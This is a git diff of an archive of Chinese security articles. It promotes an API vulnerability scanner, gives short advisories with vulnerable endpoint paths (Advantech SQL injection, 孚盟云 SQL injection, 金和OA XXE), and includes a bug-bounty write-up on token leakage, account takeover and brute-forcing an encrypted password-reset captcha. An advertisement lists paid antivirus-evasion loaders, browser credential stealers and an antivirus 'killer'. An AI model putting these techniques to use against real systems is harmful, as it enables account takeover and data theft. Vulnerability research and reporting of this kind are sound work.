![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq7R1Ple9xaH4dico0xLOxO4OmwqKZeElXENWD1JyQW1JPqWLLb0yq2AH9iaicfxADfZaXISy59jSL9og/640?wx_fmt=png&from=appmsg "") - ![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq7R1Ple9xaH4dico0xLOxO4OftzEJ0tMyTuXicmibtYjfNW1HiaW7bgIZvNLGFj6rPzuRIRYRAcdHNbrg/640?wx_fmt=png&from=appmsg "") -智能参数填充与多格式测试： -针对 POST/PUT 请求自动识别 id、email 等参数并填充测试值，同时生成 URL 参数、JSON Body、Form Body 三种格式数据包测试，确保参数传递方式全覆盖，无漏洞遗漏；也支持自定义参数值，适配个性化测试需求。 +**智能参数填充与多格式测试** +：针对 POST/PUT 请求，工具能自动识别 id、email 等参数并填充测试值，同时生成 URL 参数、JSON Body、Form Body 三种格式的数据包进行测试，确保对参数传递方式的全覆盖，避免漏洞遗漏；也支持用户自定义参数值，以适应个性化的测试需求。 ![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq7R1Ple9xaH4dico0xLOxO4OeQ6CAhgrknXfIjHbiazrxo2KcChRNzfzeVDibyhm30krfbpTLwicBv8bg/640?wx_fmt=png&from=appmsg "") -自动化漏洞检测能力： -智能识别 upload/file 等上传接口，自动构造 multipart/form-data 请求并上传 XSS 测试文件、普通文本文件验证上传漏洞；内置 SQL 注入探测引擎，可识别多数据库报错指纹，实现高频漏洞自动化检测。 +**自动化漏洞检测能力** +：能够智能识别 upload/file 等上传接口，自动构造 multipart/form-data 请求并上传 XSS 测试文件、普通文本文件以验证上传漏洞；内置 SQL 注入探测引擎，可以识别多种数据库的报错指纹，实现对高频漏洞的自动化检测。 ![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq7R1Ple9xaH4dico0xLOxO4OnKFyCrgziaVpBOibkkHRzFBm0AsW4w7qbnmSqicZF8gw3GwLKQzQNrydw/640?wx_fmt=png&from=appmsg "") -敏感信息深度扫描： -内置 100+ 高精度检测规则，覆盖云服务密钥、各类 Token、数据库连接串、手机号 / 身份证等隐私信息，支持自定义规则，敏感信息在响应结果中红色高亮展示，便于快速定位。 +**敏感信息深度扫描** +：内置超过 100 条高精度检测规则，覆盖云服务密钥、各类 Token、数据库连接串、手机号/身份证等隐私信息，支持自定义规则，发现的敏感信息会在响应结果中以红色高亮展示，便于快速定位。 ![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq7R1Ple9xaH4dico0xLOxO4OC6KCV8cia5FdgZicYhjmDxhw2b9dHzGMAU1ib3qhHVicQibSHFV5zsicuYdg/640?wx_fmt=png&from=appmsg "") -智能结果去重与过滤： -基于 “状态码 + 响应长度” 指纹去重，过滤 404/500 等重复无效响应；支持状态码自定义过滤，可屏蔽无价值结果，聚焦差异化高危信息。 +**智能结果去重与过滤** +：基于“状态码 + 响应长度”的指纹进行去重，过滤掉 404/500 等重复无效的响应；支持自定义状态码过滤，可以屏蔽无价值的测试结果，从而聚焦于存在差异化的高危信息。 ![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq7R1Ple9xaH4dico0xLOxO4OQlrGt1Ax62pRX5ibbiajUkz5Quqkw9iaMX1BUx0Y5nO2hC0fGTichGAibjQ/640?wx_fmt=png&from=appmsg "") -安全防护与灵活适配： -提供 “安全模式”，自动拦截 DELETE/PUT 等高危方法、过滤高危关键词接口，防止误删数据；支持 HTTP/HTTPS/SOCKS5 代理配置，可自定义请求头（Cookie/Authorization），适配鉴权场景与流量转发需求。 +**安全防护与灵活适配** +：提供“安全模式”，能够自动拦截 DELETE/PUT 等高危方法、过滤包含高危关键词的接口，防止误删数据；支持配置 HTTP/HTTPS/SOCKS5 代理，可自定义请求头（如 Cookie/Authorization），以适应鉴权场景与流量转发的需求。 -交互式操作与报告导出： -双击结果即可查看标准 HTTP 格式数据包，支持编辑请求头 / 体并即时重发；响应内容自动格式化高亮，测试结果可导出为 Excel 格式，包含完整请求 / 响应信息，便于报告生成与二次验证。 +**交互式操作与报告导出** +：双击测试结果即可查看标准 HTTP 格式的数据包，支持编辑请求头/请求体并即时重发；响应内容会自动格式化并高亮显示，测试结果可以导出为 Excel 格式，其中包含完整的请求与响应信息，便于生成报告或进行二次验证。 ### - -0x03更新说明 +# 0x03 更新说明 ``` -1.增加wsdl,wadl接口文档提取以及测试 -2.优化swagger接口提取功能 -3.优化变异测试功能 +1. 增加 WSDL、WADL 接口文档提取以及测试功能。2. 优化 Swagger 接口提取功能。3. 优化变异测试功能。 ``` +# 0x04 使用介绍 - -0x04 使用介绍 - -📦 -使用指南 - -### 使用前请确保已获得目标系统的合法授权，本工具仅用于授权的安全测试。 +📦 使用指南 1. **启动程序** 1. 双击 ApiHunter.exe @@ -84,101 +75,54 @@ Swagger 文档未授权访问是 API 渗透测试的高频突破口，但人工 ![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq7R1Ple9xaH4dico0xLOxO4O7onoEVIgN9ItHpQo5gEnS9TWNs6BgNaxEGNTWOFB7jXDIbuH0vLYrg/640?wx_fmt=png&from=appmsg "") **方式二** -：切换到“接口文档”区域，输入 Swagger/ASP.NET 地址，点击 [导入] -，然后点击 [swagger] +：切换到“接口文档”区域，输入 Swagger/ASP.NET 地址，点击 **[导入]** +，然后点击 **[swagger]** 。 ![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq7R1Ple9xaH4dico0xLOxO4OQUhNBvKJC4bX7ancdCjlz30qlT4GDdXBYCpvZNiaBvWLrciagMwXibTRA/640?wx_fmt=png&from=appmsg "") 1. **查看结果** -1. 扫描结果实时显示，敏感信息红色高亮。 +1. 扫描结果会实时显示，敏感信息会以红色高亮。 -1. 双击行查看详情，右键可导出或复制。 +1. 双击某一行可以查看详情，右键点击可以进行导出或复制操作。 -### +关注微信公众号后台回复“**20260203** +”，即可获取项目下载地址 + +关注微信公众号后台回复**入群** + 即可加入星夜AI安全交流群 +## 圈子介绍 + +现任职于某头部网络安全企业攻防研究部，核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练，精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中，主导突破多个高防护目标网络，曾获“最佳攻击手”“突出贡献个人”等荣誉。 + +已产出的安全工具及成果包括： +- 多款主流杀软通杀工具（兼容卡巴斯基、诺顿、瑞星、360等终端防护，无感知运行，突破多引擎联合检测） + +- XXByPassBehinder v1.1 冰蝎免杀生成器（定制化冰蝎免杀工具，绕过主流终端防护与EDR动态检测，支持自定义载荷） + +- 哥斯拉二开免杀定制版（二开优化，深度免杀，突破终端防护与EDR检测，适配多场景植入） + +- NeoCS4.9终极版（高级免杀加载工具，强化载荷注入与进程劫持，适配多系统版本，无兼容问题） + +- WinDump_免杀版（浏览器凭证窃取工具，支持Chrome/Edge/Firefox等主流浏览器，一键提取敏感数据，免杀过防护）_ + +- _DumpBrowser_V1_免杀版（浏览器凭证窃取工具，专攻浏览器密码、Cookie、历史记录提取，免杀性能拉满） + +- fscan二开版（二开优化内网扫描工具，增强指纹精度、弱口令爆破与结果标准化输出，适配复杂内网） + +- RingQ加载器二开版（二开优化免杀加载器，支持Shellcode内存执行，绕过各类终端防护与EDR检测） + +- 多款免杀Webshell集合（覆盖PHP/JSP/ASPX，过主流WAF与终端防护，适配不同Web场景） + +- 免杀360专属加载器（支持Shellcode内存执行，针对性绕过360全系防护检测，无感知运行） + +- 一键Kill 火绒 defender + +后续将不断更新到内部圈子中 欢迎加入圈子  + +![](https://mmbiz.qpic.cn/mmbiz_jpg/SffY5ZO3R2lEbGjW7qOx0vmIYqSQK74fiafqxfVf57bREkU77D0JbZtZHElvpCHNibbNOYeeIYCnygHbHyVuFPYA/640?wx_fmt=jpeg&from=appmsg "") -**0x05 内部VIP星球介绍-V1.4（福利）** - -        如果你想学习更多**渗透测试技术/应急溯源/免杀工具/挖洞SRC赚取漏洞赏金/红队打点等** -欢迎加入我们**内部星球** -可获得内部工具字典和享受内部资源和 -内部交流群， -**每天更新1day/0day漏洞刷分上分****(2026POC更新至5112+)** -**，** -包含全网一些**付费扫描****工具及内部原创的Burpsuite自动化漏****洞探测插件/漏扫工具等，AI代审工具，最新挖洞技巧等** -。shadon/Zoomeye/Quake/ -Fofa高级会员，CTFShow等各种账号会员共享。详情点击下方链接了解，觉得价格高的师傅后台回复"  -**星球** - "有优惠券名额有限先到先得 -**❗️** -啥都有 -**❗️** -全网资源 -最新 -最丰富 -**❗️****（🤙截止目前已有2400+多位师傅选择加入❗️早加入早享受）** - -**** -最新漏洞情报分享： -https://t.zsxq.com/lFN5j - -**** - -**👉****点击了解加入-->>内部VIP知识星球福利介绍V1.4版本-1day/0day漏洞库及内部资源更新** - -**** - - -结尾 - -# 免责声明 - - -# 获取方法 - - -**公众号回复20260203获取下载** - -# 最后必看-免责声明 - - -     -文章中的案例或工具仅面向合法授权的企业安全建设行为，如您需要测试内容的可用性，请自行搭建靶机环境，勿用于非法行为。如 -用于其他用途，由使用者承担全部法律及连带责任，与作者和本公众号无关。 -本项目所有收录的poc均为漏洞的理论判断，不存在漏洞利用过程，不会对目标发起真实攻击和漏洞利用。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用。 -如您在使用本工具或阅读文章的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。本工具或文章或来源于网络，若有侵权请联系作者删除，请在24小时内删除，请勿用于商业行为，自行查验是否具有后门，切勿相信软件内的广告！ - - - -# 往期推荐 - - -**1.内部VIP知识星球福利介绍V1.4（AI自动化工具）** - -**2.CS4.8-CobaltStrike4.8汉化+插件版** - -**3.全新升级BurpSuite2025.12专业(稳定版)** - -**4. 最新xray1.9.11高级版下载Windows/Linux** - -**5. 最新HCL AppScan Standard** - - -渗透安全HackTwo - -微信号：关注公众号获取 - -后台回复星球加入： -知识星球 - -扫码关注 了解更多 - -![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq6qFFAxdkV2tgPPqL76yNTw38UJ9vr5QJQE48ff1I4Gichw7adAcHQx8ePBPmwvouAhs4ArJFVdKkw/640?wx_fmt=png "二维码") - - - -上一篇文章： -[Nacos配置文件攻防思路总结|揭秘Nacos被低估的攻击面](https://mp.weixin.qq.com/s?__biz=Mzg3ODE2MjkxMQ==&mid=2247492839&idx=1&sn=b6f091114fbd8e8922153a996c8f4f1c&scene=21#wechat_redirect) +![image](https://mmbiz.qpic.cn/mmbiz_png/SffY5ZO3R2kTp5BpCMb901r34Qsxiar69aBRExZP9U4yAnhfoP9wABkmc0DCYs7NTyicvYcBaqLxVxfAJoicMyWGQ/640?wx_fmt=png&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=6 "image") diff --git a/doc/2026-02/漏洞预警 Advantech SQL注入漏洞.md b/doc/2026-02/漏洞预警 Advantech SQL注入漏洞.md new file mode 100644 index 00000000..5bacde82 --- /dev/null +++ b/doc/2026-02/漏洞预警 Advantech SQL注入漏洞.md @@ -0,0 +1,53 @@ +# 漏洞预警 | Advantech SQL注入漏洞 +浅安 + 浅安 浅安安全 2026-02-03 00:02 + +**0x00 漏洞编号** +- # CVE-2025-52694 + +**0x01 危险等级** +- 高危 + +**0x02 漏洞概述** + +Advantech是中国研华公司的一个智能电动客车管理系统 +。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/7stTqD182SUKVqQTX1FUsjvfXSibEZNOC1bXBibHLHmw8fH2rwYsZ4lAW1tuzKrbMyQ2zTVT0CbpR7YjE27ria2mA/640?wx_fmt=png&from=appmsg "") + +**0x03 漏洞详情** +### + +**CVE-2025-52694** + +**漏洞类型：** +SQL注入 + +**影响：** +窃取敏感信息 + +**简述：** +Advantech的/displays/{filename}.json?org_id=接口存在SQL注入漏洞，未经身份验证的攻击者可以通过该漏洞执行任意SQL语句，从而获取数据库敏感信息。 + +**0x04 影响版本** +- IoTSuite SaaSComposer prior < 3.4.15 + +- IoTSuite Growth Linux docker prior < V2.0.2 + +- IoTSuite Starter Linux docker prior < V2.0.2 + +- IoT Edge Linux docker prior < V2.0.2 + +- IoT Edge Windows prior < V2.0.2 + +**0x05****POC状态** +- 已公开 + +**0x06****修复建议** + +**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：** + +https://www.advantech.com.cn/ + + + diff --git a/doc/2026-02/漏洞预警 孚盟云SQL注入漏洞.md b/doc/2026-02/漏洞预警 孚盟云SQL注入漏洞.md index 104dce31..13d2fb5e 100644 --- a/doc/2026-02/漏洞预警 孚盟云SQL注入漏洞.md +++ b/doc/2026-02/漏洞预警 孚盟云SQL注入漏洞.md @@ -1,6 +1,6 @@ # 漏洞预警 | 孚盟云SQL注入漏洞 浅安 - 浅安 浅安安全 2026-02-02 00:01 + 浅安 浅安安全 2026-02-03 00:02 **0x00 漏洞编号** - # 暂无 @@ -24,9 +24,7 @@ SQL注入 窃取敏感信息 **简述：** -孚盟云的 -/m/Dingding/Ajax/AjaxMailInSend.ashx -接口存在SQL注入漏洞，攻击者可通过伪造cookie获取系统访问权限，进而该漏洞获取数据库敏感信息。 +孚盟云的/m/Dingding/Ajax/AjaxOthers.ashx接口存在SQL注入漏洞，攻击者可通过伪造cookie获取系统访问权限，进而该漏洞获取数据库敏感信息。 **0x04 影响版本** - 孚盟云 diff --git a/doc/2026-02/漏洞预警 金和OA XXE漏洞.md b/doc/2026-02/漏洞预警 金和OA XXE漏洞.md index ed4b6b09..2de44dd0 100644 --- a/doc/2026-02/漏洞预警 金和OA XXE漏洞.md +++ b/doc/2026-02/漏洞预警 金和OA XXE漏洞.md @@ -1,6 +1,6 @@ # 漏洞预警 | 金和OA XXE漏洞 浅安 - 浅安 浅安安全 2026-02-02 00:01 + 浅安 浅安安全 2026-02-03 00:02 **0x00 漏洞编号** - # 暂无 @@ -24,8 +24,8 @@ XXE 获取敏感信息 **简述：** -金和OA C6的/c6/Jhsoft.Web.dossier/RegCodeInfo.aspx/ -和/c6/Jhsoft.Web.groups/LstGroupXml.aspx/ +金和OA C6的/c6/Jhsoft.Web.govset/getFieldValue.aspx/和 +/c6/Jhsoft.Web.govset/getAppIdeaValue.aspx/ 接口处存在XXE漏洞，未授权的攻击者可以通过此漏洞读取服务器上敏感文件或探测内网服务信息，进一步利用可导致服务器失陷。 **0x04 影响版本** diff --git a/doc/2026-02/第155篇：Weblogic反序列化漏洞的多种回显方法总结（上篇）.md b/doc/2026-02/第155篇：Weblogic反序列化漏洞的多种回显方法总结（上篇）.md index 54219c21..4a3f4775 100644 --- a/doc/2026-02/第155篇：Weblogic反序列化漏洞的多种回显方法总结（上篇）.md +++ b/doc/2026-02/第155篇：Weblogic反序列化漏洞的多种回显方法总结（上篇）.md @@ -1,6 +1,5 @@ # 第155篇：Weblogic反序列化漏洞的多种回显方法总结（上篇） -原创 abc123info - abc123info 希潭实验室 2026-02-02 12:17 + 嗨嗨安全 2026-02-02 12:41 ![](https://mmbiz.qpic.cn/mmbiz_png/OAz0RNU450ATcz6jUJnFNeOxRzVZ9LbcCCMJ6Af2WYicgMPA32IwibF8mI2ibC9h8jaHkhxnZzZuqctMLRTxDudicA/640?wx_fmt=png "") diff --git a/doc/2026-02/赏金src报告分享&&edu证书站漏洞分享.md b/doc/2026-02/赏金src报告分享&&edu证书站漏洞分享.md new file mode 100644 index 00000000..601c41b7 --- /dev/null +++ b/doc/2026-02/赏金src报告分享&&edu证书站漏洞分享.md @@ -0,0 +1,228 @@ +# 赏金src报告分享&&edu证书站漏洞分享 +原创 湘南第一深情 + 湘南第一深情 湘安无事 2026-02-02 16:03 + +  声明： +由于传播、利用本公众号湘安无事所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。如有侵权烦请告知，我们会立即删除并致歉。谢谢！ + +## 前言 + +某次项目和学员一起挖掘，开局就直接起飞了，运气真的好，让我们来怎么起飞的。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYsQIPJeFic3BDpqtvh7cbuPe9zqzKiaovOoeo52gCeHicFMfRS8hN6q7jYQRTH9OFYUx2jTCvCntWBVg/640?wx_fmt=png&from=appmsg "") + +## 第一个漏洞任意登陆拿下几千大洋 + +通过子域名收集到的，发现有注册，直接登陆进去试试。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYsQIPJeFic3BDpqtvh7cbuPe4gR1qibLcATu7NER7y2MTWynvMKYhzMictwW1M8FnavdIgQOT69Hpv8g/640?wx_fmt=png&from=appmsg "") + +直接在js发现一个接口，通过ai来分析就是查询token值，刚开始以为是查自己的。 +``` +auth/qryTokenlnfo +``` + +当我把参数全部删除，发现竟然返回了所有人的嘿嘿 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYsQIPJeFic3BDpqtvh7cbuPej0qIQ4k89AKibfhAaj7icph5MlJspmxIe9mzG2DfjJSvXfABzfNBDmug/640?wx_fmt=png&from=appmsg "") + +然后我尝试使用token-editor的扩展来进行账号接管 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYsQIPJeFic3BDpqtvh7cbuPeSmrNaCQh2BE2VP8yAfLpyKesAX2jvLwCgvCib96P9XRGpAsCicnCvcUw/640?wx_fmt=png&from=appmsg "") + +卧槽直接成功了，我干了，nnd，又赚几千大洋，还得是学员呀。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYsQIPJeFic3BDpqtvh7cbuPeTSibticaTsh95lXttm5NPUiayCoYbjqicUOHoguRGyD4DLFbOz3jxsMp8w/640?wx_fmt=png&from=appmsg "") + +直接接管成功，几千大洋到手啦~ + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYsQIPJeFic3BDpqtvh7cbuPeFaxdKuvgGGSFboaiaXVTozibxq2f4GZzW3Nw5HVyR0N6GB74053exIbQ/640?wx_fmt=png&from=appmsg "") + +为了展示危害，找到一个查询个人信息的接口，直接可以批量获取整个网站的个人信息。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYsQIPJeFic3BDpqtvh7cbuPelKnY53NAwIToEiakA2iaZFu4o6YM0g6vFme9gfBiarvoNfHoaLbfpF4mQ/640?wx_fmt=png&from=appmsg "") + +并且还可以修改任意用户的账号密码。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYsQIPJeFic3BDpqtvh7cbuPellry7HnYoyn65qE6AcsGJBj4YCuZE1DnJVPniav3UcFCELQFKVuBYrg/640?wx_fmt=png&from=appmsg "") + +马上打电话让学员马上交报告。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYuia9ElbKdSKcUez91EkPBWFIRB9Ptb1301lxibuwqf643HtgCpNOfBRDmJ8V3JXw9ZH7vaRFAdktwQ/640?wx_fmt=png&from=appmsg "") + +后续直接拿下了，也有视频版放到下面啦 +> 【两分钟讲漏洞01-任意用户接管漏洞】 https://www.bilibili.com/video/BV1xkFPzgECB/?share_source=copy_web&vd_source=40d3d8c4cbf8bd3dc4fe6391b8b8f8dd + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYuia9ElbKdSKcUez91EkPBWFPib7hicDyc2FfkT83mIOgSfDP2ZoYaN7pqo7YoEG3ahE2LtcDWV7ZyLg/640?wx_fmt=png&from=appmsg "") + +## edu漏洞证书站分享 + +直接发现一个网站，点击忘记密码 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYuia9ElbKdSKcUez91EkPBWFtzIV80l8wDMgkwO3M8qG5MILB6jKWWtrIU8GDdVj6Qx70hTpRCVhSQ/640?wx_fmt=png&from=appmsg "") + +发送完验证码抓包发现是加密的数据 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYuia9ElbKdSKcUez91EkPBWFCCTZXZ1qKs7gpicc0RsGOj4W61xpPIbJqsUiasmiae2HZynQMOiccrOebA/640?wx_fmt=png&from=appmsg "") + +很明显一看就是aes加密的 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYuia9ElbKdSKcUez91EkPBWFIv7TYhCODAgujcx6VacdyCiaY1Sj7fRTenFQiaibOTtRIic9Qdjl84A4EA/640?wx_fmt=png&from=appmsg "") + +开始分析 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYuia9ElbKdSKcUez91EkPBWFQGBdjtRBgn9lqdlochIMECrZe3QsUkI2a5D4H9yW5icXh4p6SNib8oAQ/640?wx_fmt=png&from=appmsg "") + +第一个匿名函数会有提示没有定义加密也就是说加解密需要调用此函数 + +接着在下面发现加解密函数 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYuia9ElbKdSKcUez91EkPBWFPicWo48aiczXTxHpFenJ4jQ3tVo4ZTlcCHicyibcJDPZK6nmOJd7HicT5lQ/640?wx_fmt=png&from=appmsg "") + +虽然是JS经过了混淆我们直接在控制台调用就好了，首先是数据的解密 +``` +let opts = getOptions(); let cipherText = '这里写密文';  let decrypted = decrypt(cipherText, false); console.log(decrypted); +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYuia9ElbKdSKcUez91EkPBWFLs82GD8BKssQjepeZ3Gpqrv83YcDt3ic5ls4To7icLMxlFUiagPCL0ibXA/640?wx_fmt=png&from=appmsg "") + + +尝试对刚才数据包中请求包的data和返回包的data进行解密，成功 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYuia9ElbKdSKcUez91EkPBWF4LDqdDC3icd22qa68uvElbsEboKnB5ux5mQCAm8UWMYpz8oBanRXPYw/640?wx_fmt=png&from=appmsg "") + +直接写个循环生成加密函数得了，加密请求包data的字典去爆破验证码，控制台生成。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYuia9ElbKdSKcUez91EkPBWFf8YfkU1OWGdS44ibNOD81CxehIicvlruUAoNLxHeHiaR8EyHu1iawkN2mg/640?wx_fmt=png&from=appmsg "") + +得到加密的字典 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYuia9ElbKdSKcUez91EkPBWFL3JVKt4eocnYoico24jHJDp04zpwHTt2ICIRYXcQWZRGBQ81nLUaZHA/640?wx_fmt=png&from=appmsg "") + +重新抓取输入完验证码的包进行爆破 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYuia9ElbKdSKcUez91EkPBWFCrc4nVrrZFVVZiceUicTaLgYiclQ74Ovoum15fhLGxk35z2GFUFD53yfg/640?wx_fmt=png&from=appmsg "") + +成功爆破，解密数据为 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYuia9ElbKdSKcUez91EkPBWF9HAjIX7l4JGlhOFMIWHkAKUCk7wRabOHk8CQtFVdVWRZCIq1gDgU2A/640?wx_fmt=png&from=appmsg "") + +输入正确的验证码后直接输入新密码即可成功 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYuia9ElbKdSKcUez91EkPBWFLDkCe9GInBg0K9Uk2uOW5ogefpicF2rIZbn9jEicMUQ5C4beXEgqLj2g/640?wx_fmt=png&from=appmsg "") + +往期文章 + +[服务号存在注入之有意思的edu漏洞](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494659&idx=1&sn=e357db59d806c93f3a5a36b5c312b335&scene=21#wechat_redirect) + + +[edu小灶案例之泄露上w敏感信息&有意思的证书站报告案例](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494702&idx=1&sn=5f0d05b6bea8550eda36ed2ce8ddbf7a&scene=21#wechat_redirect) + + +[学员投稿之edu漏洞的JS逆向解密导致任意密码重置](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494634&idx=1&sn=7cc83a90badea88d7d7d25583bd0c419&scene=21#wechat_redirect) + + +[最近学员小灶总结之双十二特惠](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494604&idx=1&sn=80f030c8114ee3287036586c670289c9&scene=21#wechat_redirect) + + +[卡顿页面导致三本edu证书现世之学员案例分享](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494572&idx=1&sn=14c21f1cae87dbdbf2ca5c4b10533f5d&scene=21#wechat_redirect) + + +[看完这场EDU通杀刷屏，连我自己都沉默了](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494535&idx=1&sn=113dd5e17065def94a5dacad361176b3&scene=21#wechat_redirect) + + +[edu证书站挖掘之学员分享案例](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494524&idx=1&sn=bff39f27ea27bccb884e832603acda92&scene=21#wechat_redirect) + + +[如何快速挖掘低微漏洞-项目挖掘总结版](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494500&idx=1&sn=2da7aa0d40075b462eb27695f2da9e83&scene=21#wechat_redirect) + + +[公众号接管漏洞之偷偷加](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494345&idx=1&sn=6d9ab80cde99e95c4d1ac710e091ffdd&scene=21#wechat_redirect) + +[小姐姐微信](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494345&idx=1&sn=6d9ab80cde99e95c4d1ac710e091ffdd&scene=21#wechat_redirect) + + +[辅助学员审计案例-php代码审计](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494284&idx=1&sn=2feaf2786717c2c577fe0b5230cbc58f&scene=21#wechat_redirect) + + +[学员-补天800赏金报告分享](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494284&idx=2&sn=c54ea91e0b3dc79f48f54f931df413c0&scene=21#wechat_redirect) + + +[从js逆向到sql注入waf绕过到net审计-edu证书漏洞](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494171&idx=1&sn=0d589d01dfbb068e53f9ad9c22676d7a&scene=21#wechat_redirect) + + +[空白页面引起的高危src漏洞-再次绕过](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494082&idx=1&sn=6d1cc92a049d28b5395d417e0a5203a5&scene=21#wechat_redirect) + + +[空白页面引起的高危src漏洞](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494061&idx=1&sn=bfb1406138041fcba8286811aa7ac6e1&scene=21#wechat_redirect) + + +[难忘的优惠劵漏洞(深情哥破防版)](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494035&idx=1&sn=422326cc617c33c78b3d518471e0862d&scene=21#wechat_redirect) + + +[什么？又日母校？竟然还有表扬](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493987&idx=1&sn=f8edc2f3a113591e6e4cc57fdf821c8f&scene=21#wechat_redirect) + +[信](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493987&idx=1&sn=f8edc2f3a113591e6e4cc57fdf821c8f&scene=21#wechat_redirect) + + +[sql server注入靶场搭建](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493947&idx=1&sn=885ee489f74211ba26a4a097f7ba30d6&scene=21#wechat_redirect) + + +[记一次学校ai沦为我的宠物之拿下e](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493890&idx=1&sn=380e9dd566b29b713993b26f524fe0e4&scene=21#wechat_redirect) + +[du证书](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493890&idx=1&sn=380e9dd566b29b713993b26f524fe0e4&scene=21#wechat_redirect) + + +[疯狂星期四两本证书漏洞合集](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493926&idx=1&sn=06ac298909e27d0e37fef90f64b205da&scene=21#wechat_redirect) + + +[湘安无事之深情哥版edu+src培训](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493855&idx=2&sn=bb025b6a32bc022319f8dc8057a6436d&scene=21#wechat_redirect) + + +[记两次js逆向拿下985证书站(学员投稿)~](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493855&idx=1&sn=0d507bc1f90b04588393698ee1c2d4b8&scene=21#wechat_redirect) + + +[重生之我在教育园暴打小朋友](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493410&idx=1&sn=17df8a525145bf062ed5d6ecc3e09539&scene=21#wechat_redirect) + + +[某医院微信小程序签名机制绕过分析](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493408&idx=1&sn=672ff76188ab6c97bc1b8d688ac7228f&scene=21#wechat_redirect) + + +[记二次帮学员拿下edu证书站](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493399&idx=1&sn=425e84fa877f789598a2e8afdf8320c6&scene=21#wechat_redirect) + + +[记一次难忘的net直播审计](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493369&idx=1&sn=e10ae1cd25ece5fe3c3ca4c2b455cb51&scene=21#wechat_redirect) + + 